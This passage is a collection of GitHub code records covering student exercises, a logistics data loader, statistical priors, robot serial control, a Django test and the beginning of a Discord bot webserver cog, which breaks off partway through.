+{"seq_id":"9252602271","text":"import requests\n\n\ndef add_patient_to_server(name_input, id_input, blood_type_input):\n patient1 = {\"name\": name_input, \"id\": id_input, \"blood_type\": blood_type_input}\n r = requests.post(\"http://127.0.0.1:5000/new_patient\", json=patient1)\n print(r.status_code)\n print(r.text)\n return r.text\n\n\n\"\"\"\ntesting_out = {\"id\": int, \"test_name\": str, \"test_result\": int}\ns = requests.post(\"http://127.0.0.1:5000/new_patient\", json=testing_out)\nprint(s.status_code)\nprint(s.text)\n\"\"\"\n","repo_name":"Moncayo-Reyes-Salma/ClassworkFall_2021","sub_path":"health_db_client.py","file_name":"health_db_client.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"3868774320","text":"# Definition for singly-linked list.\nfrom typing import Optional\n\n\nclass ListNode:\n def __init__(self, val=0, next=None):\n self.val = val\n self.next = next\n\n\nclass Solution:\n def reverseKGroup(self, head: Optional[ListNode], k: int) -> Optional[ListNode]:\n # 类似于24M,24是每两个翻转一次,此题是每k个反转\n\n dummy_node = ListNode()\n checker = dummy_node\n checker.next = head\n if k <= 1:\n return head\n count = 0\n while checker.next:\n count += 1\n checker = checker.next\n\n left = dummy_node\n left.next = head\n\n while count >= k: # start to loop: in the loop, every round from first to second, reverse\n prev = left # prev: dummy_node,\n cur = left.next # cur: 1,\n right = left.next # right: 1,\n for _ in range(k):\n cur.next, prev, cur = prev, cur, cur.next\n # print(cur.val, prev.val)\n # print(left.val)\n # 1 2 3 4 5 k = 3\n # start: cur = 1 , prev = dummy_node\n # end: cur = 4 , prev = 3\n left.next.next = cur # 1 -> 4,\n left.next = prev # dummy_node -> 4,\n left = right # left: 1\n\n count -= k\n return dummy_node.next\n\ns = Solution()\nlhead = ListNode(1)\nlhead.next = ListNode(2)\nlhead.next.next = ListNode(3)\nlhead.next.next.next = ListNode(4)\nlhead.next.next.next.next = ListNode(5)\ngoal_head = s.reverseKGroup(lhead, 3)\nwhile goal_head:\n print(goal_head.val)\n goal_head = goal_head.next\n\n\n","repo_name":"Javery2901/LeetcodePractice","sub_path":"LinkedList (Second Round)/25H Reverse Nodes in k-Group.py","file_name":"25H Reverse Nodes in k-Group.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"22824055596","text":"import numpy as np\nimport math\nfrom parameters import Parameter\nfrom classes import *\nimport pandas as pd\n\n\ndef get_b(miu, s):\n b = 0\n for r in range(s):\n b += (miu ** r) * math.e ** (-miu) / (math.factorial(r))\n return b\n\n\ndef binary_get(aim, func=get_b, s=0, lb=0., ub=1., tlr=0.01, precision=3):\n c = (lb + ub) / 2\n valc = func(c, s)\n if abs(valc - aim) < tlr:\n return round(c, precision)\n if aim < valc:\n return binary_get(aim, func, s, c, ub, tlr, precision)\n return binary_get(aim, func, s, lb, c, tlr, precision)\n\n\ndef get_dist_per(x1, y1, x2, y2):\n rady1 = math.radians(y1)\n rady2 = math.radians(y2)\n a = rady1 - rady2\n b = math.radians(x1) - math.radians(x2)\n s = 2 * math.asin(\n math.sqrt(math.sin(a / 2) ** 2 + math.cos(rady1) * math.cos(rady2) * math.sin(b / 2) ** 2)) * 6378.004\n return s\n\n\ndef get_dist(group1, group2):\n dist_mat = np.zeros([len(group1), len(group2)])\n for i in range(len(group1)):\n for j in range(len(group2)):\n # dist_mat[i,j] = ((group1[i][0]-group2[j][0])**2 + (group1[i][1]-group2[j][1])**2)**0.5\n dist_mat[i, j] = get_dist_per(group1[i][0], group1[i][1], group2[j][0], group2[j][1])\n return dist_mat.round(2)\n\n\ndef data_loading(pr: Parameter):\n df_data = pd.read_excel(\"Instance300.xlsx\", sheet_name='data')\n df_data_t = pd.read_excel('Instance300.xlsx', sheet_name='data_t_jk')\n df_data_h = pd.read_excel('Instance300.xlsx', sheet_name='data_h_jk')\n df_data_info_cust = pd.read_excel('Instance300.xlsx', sheet_name='info_cust')\n with open('data1.txt', \"r\", encoding='utf-8') as fl:\n C_num = int(fl.readline().split()[0])\n J_num = int(fl.readline().split()[0])\n I_num = int(fl.readline().split()[0])\n M_num = int(fl.readline().split()[0])\n virtual_num = int(fl.readline().split()[0])\n K_num = int(fl.readline().split()[0])\n per_cost = list(df_data.iloc[:, 1].values)\n #per_cost = list(map(int, fl.readline().split()[0].split(\",\")))\n h = df_data_h.values[:, 1:].astype(\"int32\")\n \"\"\"temp = []\n for line in fl.readline().split()[0].split(\";\"):\n temp.append(list(map(int, line.split(\",\"))))\n h = np.array(temp)\"\"\"\n t = df_data_t.values[:, 1:].astype(\"int32\")\n \"\"\"temp = []\n for line in fl.readline().split()[0].split(\";\"):\n temp.append(list(map(int, line.split(\",\"))))\n t = np.array(temp)\"\"\"\n v_1 = int(fl.readline().split()[0])\n v_2 = list(df_data.iloc[:, 3].values.astype('int'))\n #v_2 = list(map(int, fl.readline().split()[0].split(\",\")))\n max_s = int(fl.readline().split()[0])\n virtual_per_cost = list(df_data.iloc[:, 2].values.astype('int'))\n #virtual_per_cost = list(map(int, fl.readline().split()[0].split(\",\")))\n\n with open('info_center.txt', \"r\", encoding='utf-8') as fl:\n c_coords = []\n for line in fl.readlines()[1:]:\n c_coords.append(tuple(map(float, line.split()[1:])))\n\n with open('info_depot.txt', \"r\", encoding='utf-8') as fl:\n j_coords = []\n f = []\n for line in fl.readlines()[1:]:\n j_coords.append(tuple(map(float, line.split()[1:3])))\n f.append(int(line.split()[-1]))\n\n with open('info_express.txt', \"r\", encoding='utf-8') as fl:\n m_coords = []\n t_res = []\n for line in fl.readlines()[1:]:\n m_coords.append(tuple(map(float, line.split()[1:3])))\n t_res.append(int(line.split()[-1]))\n for coord in j_coords:\n m_coords.append(coord)\n t_res.append(0)\n\n with open('info_cust.txt', \"r\", encoding='utf-8') as fl:\n i_coords = []\n D = []\n alpha = []\n T = []\n for line in fl.readlines()[1:]:\n temp = line.split()\n i_coords.append(tuple(map(float, temp[1:3])))\n #D.append(list(map(float, temp[3].split(\",\"))))\n #alpha.append(list(map(float, temp[4].split(\",\"))))\n #T.append(list(map(float, temp[5].split(\",\"))))\n D = np.array(D)\n alpha = np.array(alpha)\n T = np.array(T)\n D = np.zeros((I_num, K_num))\n alpha = np.zeros((I_num, K_num))\n T = np.zeros((I_num, K_num))\n for _, cust_n, prod_n, d_n, alpha_n, t_n in df_data_info_cust.itertuples(index=False):\n D[cust_n,prod_n] = d_n\n alpha[cust_n,prod_n] = alpha_n\n T[cust_n,prod_n] = t_n\n\n C = {i for i in range(C_num)}\n I = {i for i in range(I_num)}\n J = {i for i in range(J_num)}\n M = {i for i in range(M_num)}\n K = {i for i in range(K_num)}\n dist_ci = get_dist(c_coords, i_coords)\n dist_jm = get_dist(j_coords, m_coords)\n dist_ji = get_dist(j_coords, i_coords)\n\n\n c_4 = np.zeros([len(I), len(M), len(J), len(K)])\n for i in range(len(c_4)):\n for m in range(len(c_4[0])):\n for j in range(len(c_4[0, 0])):\n for k in range(len(c_4[0, 0, 0])):\n if m < M_num - virtual_num:\n c_4[i, m, j, k] = (dist_jm[j, m] + dist_ji[j, i]) * per_cost[k]\n else:\n c_4[i, m, j, k] = (dist_jm[j, m] + dist_ji[j, i]) * virtual_per_cost[k]\n\n d_jm = dist_jm\n d_ji = dist_ji\n\n\n \"h = np.random.randint(10,20,size=(len(J), len(K)))\"\n\n \"D = np.random.randint(0,2,size=(len(I),len(K)))\"\n\n \"t = np.random.randint(1,3, size=(len(J), len(K)))\"\n\n \"\"\"v_1 = 1 \n v_2 = [random.randint(10,20)*0.1 for _ in K]\"\"\"\n tao_jm = d_jm / v_1\n tao_jik = np.zeros((len(J), len(I), len(K)))\n for k in K:\n tao_jik[:, :, k] = (d_ji / v_2[k]).round(2)\n\n \"alpha = np.random.random((len(I), len(K))).round(2)*0.5\"\n\n \"t_res = [random.randint(1,10)*0.1+1 for _ in M] \"\n\n \"T = np.ones((len(I), len(K))) * 80\"\n\n \"max_s = 5\"\n L = dict() \n for j in J:\n for k in K:\n L[j, k] = set(i + 1 for i in range(max_s))\n\n omega = T \n\n miu_lb = 0\n miu_ub = float(np.sum(D)) * 10\n\n J_ik = dict() \n I_jk = dict() \n for i in I:\n for j in J:\n for k in K:\n if (i, k) not in J_ik.keys():\n J_ik[i, k] = set()\n if (j, k) not in I_jk.keys():\n I_jk[j, k] = set()\n if tao_jik[j, i, k] < omega[i, k]:\n J_ik[i, k].add(j)\n I_jk[j, k].add(i)\n\n ijk_b = dict()\n bjk_i = dict()\n for i in I:\n for j in J:\n for k in K:\n ijk_b[i, j, k] = alpha[i, k]\n for i in I:\n for j in J:\n for k in K:\n b = ijk_b[i, j, k]\n if (b, j, k) not in bjk_i.keys():\n bjk_i[b, j, k] = i\n\n miu = dict()\n for i in I:\n for j in J:\n for k in K:\n b = ijk_b[i, j, k]\n for s in L[j, k]:\n miu[i, j, k, s] = binary_get(b, s=s, lb=miu_lb, ub=miu_ub)\n\n pr.prod_type_num = K_num\n for i in range(J_num):\n wh = WareHouse(i, j_coords[i], f[i], list(h[i]), list(t[i]))\n pr.warehouse_list.append(wh)\n pr.warehouse_set.add(wh)\n for _ in K:\n pr.product_type_set.append(set())\n pr.product_type_list.append(list())\n for i in range(I_num):\n temp_set = set()\n temp_list = list()\n for j in range(K_num):\n if D[i, j] == 0:\n continue\n prod = Product(i, i_coords[i], j, D[i, j], alpha[i, j], T[i, j])\n pr.product_list.append(prod)\n pr.product_set.add(prod)\n pr.product_type_list[prod.type].append(prod)\n pr.product_type_set[prod.type].add(prod)\n pr.num_type_product_dict[prod.num, prod.type] = prod\n temp_set.add(prod)\n temp_list.append(prod)\n for i in range(M_num - virtual_num):\n ex = Express(i, m_coords[i], t_res[i])\n pr.express_set.add(ex)\n pr.express_list.append(ex)\n pr.per_cost = list(per_cost)\n pr.vir_per_cost = list(virtual_per_cost)\n pr.dist_cp = dist_ci\n pr.dist_ew = dist_jm.T[: M_num - virtual_num]\n pr.dist_wp = dist_ji\n b_set_dict = dict()\n for (i, j, k, s), v in miu.items():\n b = ijk_b[i, j, k]\n if b not in pr.max_demands.keys():\n pr.max_demands[b] = list()\n b_set_dict[b] = set()\n if (s, v) not in b_set_dict[b]:\n b_set_dict[b].add((s, v))\n pr.max_demands[b].append((s, v))\n for v in pr.max_demands.values():\n v.sort()\n pr.v_ew = v_1\n pr.v_wp = v_2\n\n for prod in pr.product_set:\n prod.min_dist_wh = pr.warehouse_list[np.argmin(pr.dist_wp[:, prod.num])]\n\n for prod in pr.product_list:\n assert isinstance(prod, Product)\n for wh in pr.warehouse_list:\n assert isinstance(wh, WareHouse)\n if pr.dist_wp[wh.num, prod.num] / pr.v_wp[prod.type] <= prod.time_limit:\n prod.able_to_cover.add(wh)\n return pr\n","repo_name":"HaileyYX/MP-LIP-LMDO","sub_path":"data_loading.py","file_name":"data_loading.py","file_ext":"py","file_size_in_byte":9022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"9693426022","text":"# Factor Generator\r\n\r\n# Welcome statement\r\nprint(\"Welcome to the Factor Generator\")\r\n\r\n# Keep the program running while True\r\nwhile True:\r\n\r\n # User input for number\r\n number = int(input(\"\\nEnter a number to determine all factors of that number: \"))\r\n\r\n # Initialize factors list\r\n factors = []\r\n\r\n # Find all factors in number\r\n for i in range(1,number+1):\r\n if number % i == 0:\r\n factors.append(i)\r\n\r\n # Print out all factors \r\n print(\"\\nThe factors of \" + str(number) + \" are:\")\r\n for number in factors:\r\n print(number)\r\n\r\n # Print a summary pf the paired factors that equal the number\r\n print(\"\\nIn summary: \")\r\n for i in range(int(len(factors)/2)):\r\n print(str(factors[i]) + \" * \" + str(factors[-i-1]) + \" = \" + str(number))\r\n\r\n # User decides if they want to stop running the program\r\n choice = input(\"\\nRun again (y/n): \").lower().strip()\r\n if choice.startswith('y') != True:\r\n print(\"\\nThank you for using the Factor Generator. Have a great day.\")\r\n break\r\n\r\n#### Option 2 for printing summary table\r\n### while factors:\r\n### num_1 = factors[0]\r\n### num_2 = factors[-1]\r\n### print(str(num_1) + \" * \" + str(num_2) + \" = \" + str(number))\r\n### factors.remove(num_1)\r\n### if num_2 in factors:\r\n### factors.remove(num_2)\r\n","repo_name":"megankheins/Python_Practice","sub_path":"Factor_Generator.py","file_name":"Factor_Generator.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"73468975397","text":"\"\"\"\nSome prior densities that are not GPy.\n\nAuthor:\n Ilias Bilionis\n\"\"\"\n\n\n__all__ = ['Prior', 'GaussianPrior', 'LogGaussianPrior',\n 'MultivariateGaussianPrior', 'GammaPrior',\n 'InverseGammaPrior', 'UninformativeScalePrior',\n 'UninformativePrior']\n\n\nfrom GPy import priors\nPrior = priors.Prior\nGaussianPrior = priors.Gaussian\nLogGaussianPrior = priors.LogGaussian\nMultivariateGaussianPrior = priors.MultivariateGaussian\nGammaPrior = priors.Gamma\nInverseGammaPrior = priors.InverseGamma\nimport numpy as np\n\n\nclass UninformativeScalePrior(Prior):\n\n \"\"\"\n An uninformative prior.\n \"\"\"\n\n domain = priors._POSITIVE\n\n def lnpdf(self, x):\n \"\"\"\n :param x: The value of the parameter.\n :type x: :class:`numpy.ndarray`\n :returns: The logarithm of the probability.\n \"\"\"\n return -np.log(x)\n\n def lnpdf_grad(self, x):\n \"\"\"\n :param x: The value of the parameter.\n :type x: :class:`numpy.ndarray`\n :returns: The gradient of the logarithm of the probability.\n \"\"\"\n return -1. / x\n\n def __str__(self):\n \"\"\"\n Return a string representation of the object.\n \"\"\"\n return 'Uninformative Scale Prior: p(x) = 1/x, x > 0'\n\n\nclass UninformativePrior(Prior):\n\n \"\"\"\n An uninformative prior for bounded domains or the real line.\n The default is the real line.\n\n :param lower: The lower bound of the distribution (It can be\n ``-np.inf``).\n :type lower: float\n :param upper: The upper bound of the distribution (It can be\n ``np.inf``).\n \"\"\"\n\n domain = None\n\n def __init__(self, lower=-np.inf, upper=np.inf):\n \"\"\"\n Initialize the object.\n \"\"\"\n assert lower < upper\n if lower == -np.inf and upper == np.inf:\n self.domain = priors._REAL\n self.log_length = 0.\n elif lower == -np.inf or upper == np.inf:\n self.domain = priors._BOUNDED\n self.log_length = 0.\n else:\n self.domain = priors._BOUNDED\n self.log_length = np.log(upper - lower)\n self.lower = lower\n self.upper = upper\n\n def lnpdf(self, x):\n \"\"\"\n :param x: The value of the parameter.\n :type x: :class:`numpy.ndarray`\n :returns: The logarithm of the probability\n \"\"\"\n if x < self.lower or x > self.upper:\n return -np.inf\n else:\n return self.log_length\n\n def lnpdf_grad(self, x):\n \"\"\"\n :param x: The value of the parameter.\n :type x: :class:`numpy.ndarray`\n :returns: The gradient of the logarithm of the probability.\n \"\"\"\n return 0.\n\n def __str__(self):\n \"\"\"\n Return a string representation of the object.\n \"\"\"\n if (self.domain == priors._REAL or\n self.upper == np.inf or\n self.lower == -np.inf):\n return 'Uninformative Prior: p(x) = 1'\n else:\n return 'Uninformative Prior: p(x) = |D|*I_D(x)'\n\n def rvs(self, n):\n \"\"\"\n Draw random samples from the probability density.\n\n It works only for BOUNDED domains.\n\n :param n: The number of samples to draw.\n :type n: int\n \"\"\"\n if self.upper < np.inf and self.lower > -np.inf:\n return np.random.rand(n) * (self.upper - self.lower) + self.lower\n else:\n raise RuntimeError('Cannot draw samples from an improper '\n ' probability distribution.')\n","repo_name":"PredictiveScienceLab/py-mcmc","sub_path":"pymcmc/_priors.py","file_name":"_priors.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"0"}
+{"seq_id":"8484017985","text":"#******************************************************\r\n # Robotics Interface code\r\n # \r\n # Connects the raspberry pi to a microcontroller via\r\n # the serial port. Defines a set of functions for\r\n # controlling the robot movement, measuring sensors,\r\n # and configuring parameters\r\n #\r\n # Author: Elizabeth Basha\r\n # Date: Fall 2018\r\n #*****************************************************\r\n#! /usr/bin/env python\r\n\r\nimport math\r\nimport robotControl\r\nimport serial\r\nimport time\r\n\r\nprint(\"Starting\")\r\n\r\n# Open Serial Port\r\nser = serial.Serial(\"/dev/serial0\",115200)\r\n\r\n# ------------------------------------------------------------\r\n# MOVEMENT FUNCTIONS\r\n\r\n# Move robot to X,Y where X is positive\r\n#robotControl.moveRobotXY(ser,10,0)\r\n\r\n# Move robot until obstacle seen\r\n#robotControl.moveRobotObs(ser)\r\n\r\n# Rotate robot by angleToTurn (0 to 2pi)\r\n#result = robotControl.rotateRobot(ser,math.pi)\r\n\r\n# Move robot backward by X\r\n#result = robotControl.moveRobotBackX(ser, 12)\r\n\r\n# Read result\r\n# Returns named tuple in the order (obsFlag, v, w, time)\r\n#result, msgType = robotControl.readResponse(ser)\r\n#time.sleep(.5)\r\n#print(result.obsFlag, result.rightWheelDist, result.leftWheelDist, result.time)\r\n\r\n# ------------------------------------------------------------\r\n# Change PWM values and see movement impact\r\ntime.sleep(2)\r\nrobotControl.changePWMvalues(ser, 50, 50)\r\n\r\nrobotControl.moveRobotXY(ser,10,0)\r\nresult, msgType = robotControl.readResponse(ser)\r\ntime.sleep(.5)\r\nprint(result.obsFlag, result.rightWheelDist, result.leftWheelDist, result.time)\r\n\r\ntime.sleep(2)\r\nrobotControl.changePWMvalues(ser, 150, 150)\r\nrobotControl.moveRobotXY(ser,10,0)\r\nresult, msgType = robotControl.readResponse(ser)\r\ntime.sleep(.5)\r\nprint(result.obsFlag, result.rightWheelDist, result.leftWheelDist, result.time)\r\n\r\n# ------------------------------------------------------------\r\n# SENSOR FUNCTIONS\r\n# Send and read one ir command so that msgType has a value\r\n#robotControl.getSensors(ser)\r\n#result, msgType = robotControl.readResponse(ser)\r\n#time.sleep(.5)\r\n#print(result)\r\n \r\n# Close Serial Port\r\nser.close()\r\n\r\nprint(\"Done\")\r\n","repo_name":"emilyyeh123/waterRobotResearch","sub_path":"groundRobotControl/exampleRobotMain.py","file_name":"exampleRobotMain.py","file_ext":"py","file_size_in_byte":2116,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"36244102540","text":"# Напишите программу, которая будет преобразовывать десятичное число в двоичное.\n# Пример:\n# - 45 -> 101101\n# - 3 -> 11\n# - 2 -> 10\n\ndef input_numbers ():\n while True:\n num = input('введите число - ')\n try:\n numbers = int(num)\n return numbers\n except:\n print('не число')\n\nnumber = input_numbers()\n\nmy_list = [1]\n\nif number == 0:\n print(0)\nelse:\n while number > 1:\n ost = number % 2\n number = number // 2\n my_list.insert(1,ost)\n print(\"\".join(map(str, my_list)))\n\n","repo_name":"grigorymaiorow/python_dz","sub_path":"DZ3/Задача4.py","file_name":"Задача4.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"20665734193","text":"import infoworks as iw\nimport os\n\ndef test_subcatchment(ws):\n iw_csv = os.path.join(ws, 'input/subcatchment/subcatchment.csv')\n output_folder = os.path.join(ws, 'output/subcatchment')\n out_csv = os.path.join(output_folder, 'wastewater_summary.csv')\n iw.subcatchment.wastewater_summary(iw_csv, out_csv)\n\n\nif __name__ == '__main__':\n ws = './workspace'\n test_subcatchment(ws)","repo_name":"mel-meng/icm","sub_path":"tests/test_subcatchment.py","file_name":"test_subcatchment.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"42039077985","text":"import numpy as np\nnp.random.seed(12345)\nimport matplotlib.pyplot as plt\nfrom keras.datasets import cifar10,mnist\nfrom sklearn.metrics import log_loss\nfrom sklearn.utils import shuffle\n\n\n## data ops\ndef get_next_batch(X,Y,batch_size):\n sample_size = X.shape[0]\n while True:\n X,Y = shuffle(X,Y,random_state=0)\n for idx in range(0,sample_size,batch_size):\n yield X[idx:idx+batch_size], Y[idx:idx+batch_size]\n\ndef class_to_one_hot(arr):\n n = arr.shape[0]\n k = arr.max()+1\n one_hot = np.zeros((n,k))\n one_hot[np.arange(n),arr] = 1.0\n return one_hot\n\n## param ops\ndef param_initializer(shape):\n return np.random.normal(0,0.01,shape)\n\n\n## forward ops\ndef relu(z):\n a = z.copy()\n a[a<0]=0.0\n return a\n\ndef identity(z):\n return z\n\ndef matmul(x,W):\n return np.matmul(x,W.T)\n\ndef bias_add(xW,b):\n return xW+b\n\ndef softmax(z):\n M = np.max(z,axis=-1,keepdims=True)\n e = np.exp(z-M) # normalisation trick so \n # that largest of z is 0\n sigma = e.sum(axis=-1,keepdims=True)\n s = e/sigma\n return s\n\n## backward ops\n\ndef relu_derv(z):\n t = z.copy()\n t[t>0] = 1.0\n t[t<=0]= 0.0\n return t\n\n\ndef init_params():\n THETA = {}\n THETA['W1'] = param_initializer((500,28*28))\n THETA['b1'] = param_initializer((500,)) \n THETA['W2'] = param_initializer((500,500))\n THETA['b2'] = param_initializer((500,))\n THETA['W3'] = param_initializer((10,500))\n THETA['b3'] = param_initializer((10,))\n return THETA\n\ndef forward_pass(x_b,y_b,PARAMS):\n ACTS = {}\n\n ACTS['a0'] = x_b\n ACTS['z1'] = bias_add(matmul(ACTS['a0'],PARAMS['W1']), PARAMS['b1'])\n ACTS['a1'] = relu(ACTS['z1'])\n\n ACTS['z2'] = bias_add(matmul(ACTS['a1'],PARAMS['W2']), PARAMS['b2'])\n ACTS['a2'] = relu(ACTS['z2'])\n \n ACTS['z3'] = bias_add(matmul(ACTS['a2'],PARAMS['W3']), PARAMS['b3'])\n ACTS['s'] = softmax(ACTS['z3'])\n \n ACTS['y'] = y_b\n ACTS['L'] = log_loss(y_true=ACTS['y'], y_pred=ACTS['s'])\n\n return ACTS\n\n\ndef backward_pass(ACTS,PARAMS):\n \n GRAD = {}\n B = ACTS['a0'].shape[0]\n \n \n dz3_da2 = PARAMS['W3']\n da2_dz2 = relu_derv(ACTS['z2'])\n dz2_dW2 = ACTS['a1']\n \n dz2_da1 = PARAMS['W2']\n da1_dz1 = relu_derv(ACTS['z1'])\n dz1_dW1 = ACTS['a0']\n \n \n dl_dz3 = (ACTS['s']-ACTS['y'])\n dl_da2 = np.dot(dl_dz3,dz3_da2)\n dl_dz2 = np.multiply(dl_da2,da2_dz2)\n \n dl_da1 = np.dot(dl_dz2,dz2_da1)\n dl_dz1 = np.multiply(dl_da1,da1_dz1)\n \n \n dl_dW3 = (1/B)*np.dot(dl_dz3.T,ACTS['a2'])\n dl_db3 = (1/B)*dl_dz3.sum(axis=0)\n \n dl_dW2 = (1/B)*np.dot(dl_dz2.T,ACTS['a1'])\n dl_db2 = (1/B)*dl_dz2.sum(axis=0)\n \n dl_dW1 = (1/B)*np.dot(dl_dz1.T,ACTS['a0'])\n dl_db1 = (1/B)*dl_dz1.sum(axis=0)\n \n\n GRAD['dl_dW3'] = dl_dW3\n GRAD['dl_db3'] = dl_db3\n GRAD['dl_dW2'] = dl_dW2\n GRAD['dl_db2'] = dl_db2\n GRAD['dl_dW1'] = dl_dW1\n GRAD['dl_db1'] = dl_db1\n \n \n ## extra\n \n GRAD['dz3_da2']=dz3_da2\n GRAD['da2_dz2']=da2_dz2\n GRAD['dz2_dW2']=dz2_dW2\n GRAD['dz2_da1']=dz2_da1\n GRAD['da1_dz1']=da1_dz1\n GRAD['dz1_dW1']=dz1_dW1\n GRAD['dl_dz3']=dl_dz3\n \n return GRAD\n\n\nB = 32\nlr= 0.01\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n\nX_train = x_train.reshape(x_train.shape[0],-1)/255\nX_test = x_test.reshape(x_test.shape[0],-1)/255\nY_train = class_to_one_hot(y_train.reshape(y_train.shape[0]))\nY_test = class_to_one_hot(y_test.reshape(y_test.shape[0]))\n\n\nget_batch = get_next_batch(X_train, Y_train, batch_size=B)\nLOSS = []\n\n\nPARAMS = init_params()\nfor idx in range(10000):\n x_b,y_b = next(get_batch)\n ACTS = forward_pass(x_b,y_b,PARAMS)\n GRAD = backward_pass(ACTS,PARAMS)\n\n ## gradient updates \n PARAMS['W3'] = PARAMS['W3'] - lr*GRAD['dl_dW3']\n PARAMS['b3'] = PARAMS['b3'] - lr*GRAD['dl_db3']\n PARAMS['W2'] = PARAMS['W2'] - lr*GRAD['dl_dW2']\n PARAMS['b2'] = PARAMS['b2'] - lr*GRAD['dl_db2']\n PARAMS['W1'] = PARAMS['W1'] - lr*GRAD['dl_dW1']\n PARAMS['b1'] = PARAMS['b1'] - lr*GRAD['dl_db1']\n\n LOSS.append(ACTS['L'])\n\n if idx%100==0:\n print(\"#\",end ='')\nplt.figure()\nplt.plot(LOSS)\nplt.savefig(\"loss.png\")\n\n\ndef test_accuracy(y,s):\n y_true = np.argmax(y,axis=1)\n y_pred = np.argmax(s,axis=1)\n return (y_true==y_pred).sum()/y_true.shape[0]\n\n\n\nTest_ACT = forward_pass(X_test,Y_test,PARAMS)\n\nprint(\"Test accuracy\", test_accuracy(Y_test,Test_ACT['s']))\n\n\nf = open(\"loss.txt\",\"w\")\nidx = 1\nfor l in LOSS:\n f.write(\"({},{})\\n\".format(idx,l))\n idx+=1\nf.close()\n\nf = open(\"avg_loss.txt\",\"w\")\noffset = 100\nidx = offset\nfor l in LOSS[offset:]:\n f.write(\"({},{})\\n\".format(idx,np.mean(LOSS[idx-offset:idx])))\n idx+=1\nf.close()\n","repo_name":"nithishdivakar/blog-post-codes","sub_path":"tiny-neural-network/nnv0.0.001.py","file_name":"nnv0.0.001.py","file_ext":"py","file_size_in_byte":4480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"3237331791","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Dec 25 14:25:35 2020\n\n@author: Kunal\n\"\"\"\nimport copy\n\ndef beatSum(totalSum,numbers):\n if totalSum==0:\n return []\n if totalSum<0:\n return False\n shortestList=[]\n for i in numbers:\n li1=beatSum(totalSum-i,numbers)\n if type(li1) is type([]):\n li1.append(i)\n #print(li1)\n if len(shortestList)>len(li1) or len(shortestList)==0:\n shortestList=copy.deepcopy(li1) \n return shortestList\n\ndi={}\ndef beatSumDP(totalSum,numbers):\n if totalSum in di.keys():\n return di[totalSum]\n if totalSum==0:\n return []\n if totalSum<0:\n return False\n shortestList1=False\n for i in numbers:\n li1=beatSumDP(totalSum-i,numbers)\n if type(li1) is type([]):\n li1.append(i)\n if not shortestList1 or len(shortestList1)>len(li1):\n print('before {}'.format(shortestList1))\n shortestList1=copy.deepcopy(li1)\n print('after {}'.format(shortestList1))\n if shortestList1: \n di[totalSum]=copy.deepcopy(shortestList1)\n else:\n di[totalSum]=False\n return shortestList1\n\nli2=beatSum(5,[2,5,3,4,25])\nprint(li2)\nli2=beatSumDP(100,[2,3,5,25])\nprint(li2)\n\n\n\n\n","repo_name":"gk1021/ADA-Problems","sub_path":"Dynamic Programming/beatSum.py","file_name":"beatSum.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"8538181229","text":"from http import HTTPStatus\n\nfrom django.conf import settings\nfrom django.contrib.auth import get_user_model\nfrom django.test import TestCase\nfrom django.urls import reverse\n\nfrom subscribe.models import Subscriber\nfrom subscribe.tests import logged_in_account_maker\n\n\nclass TestUnsubscribe(TestCase):\n\n @classmethod\n def setUpClass(cls):\n User = get_user_model()\n\n super(TestUnsubscribe, cls).setUpClass()\n\n cls.url = reverse('subscribe:email-subscribe')\n cls.password = 'll44iinn!!'\n\n # what happens when a valid value unsubscribed successfully?\n def test_api_call_after_deletion_should_return_ok_status(self):\n # GIVEN\n subscribed_account = logged_in_account_maker(self, f'subscriber@{settings.DOMAIN}')\n\n Subscriber.objects.create(\n subscriber=subscribed_account,\n is_subscribed=True,\n )\n\n # WHEN\n response = self.client.delete(\n self.url,\n )\n\n # THEN\n self.assertEqual(response.status_code, HTTPStatus.OK)\n","repo_name":"s3ich4n/dhk_techintern","sub_path":"subscribe/tests/test_email_unsubscribe.py","file_name":"test_email_unsubscribe.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"302966717","text":"\"\"\"Module for the Webserver cog.\"\"\"\r\nfrom __future__ import annotations\r\nimport json\r\nimport asyncio\r\nimport ssl\r\nfrom typing import Optional\r\n\r\nfrom aiohttp import web\r\nfrom redbot.core import commands, bank\r\nfrom redbot.core.bot import Red\r\nfrom redbot.core.config import Config\r\n\r\n\r\n\r\n\r\n\r\nclass Webserver(commands.Cog):\r\n \"\"\"\r\n A cog for responding to pings form various uptime monitoring services,\r\n such as UptimeRobot, Pingdom, Uptime.com, or self-hosted ones like UptimeKuma or Upptime.\r\n The web server will run in the background whenever the cog is loaded on the specified port.\r\n It will respond with status code 200 when a request is made to the root URL.\r\n If you want to use this with an external service, you will need to set up port forwarding.\r\n Make sure you are aware of the security risk of exposing your machine to the internet.\r\n \"\"\"\r\n\r\n __version__ = \"1.0.0\"\r\n __author__ = \"Vexed#9000\"\r\n\r\n def __init__(self, bot: Red) -> None:\r\n self.bot = bot\r\n self.config: Config = Config.get_conf(\r\n self, identifier=418078199982063626, force_registration=True\r\n )\r\n self.config.register_global(port=443)\r\n\r\n def cog_unload(self) -> None:\r\n self.bot.loop.create_task(self.shutdown_webserver())\r\n\r\n\r\n\r\n async def shutdown_webserver(self) -> None:\r\n await self.runner.shutdown()\r\n await 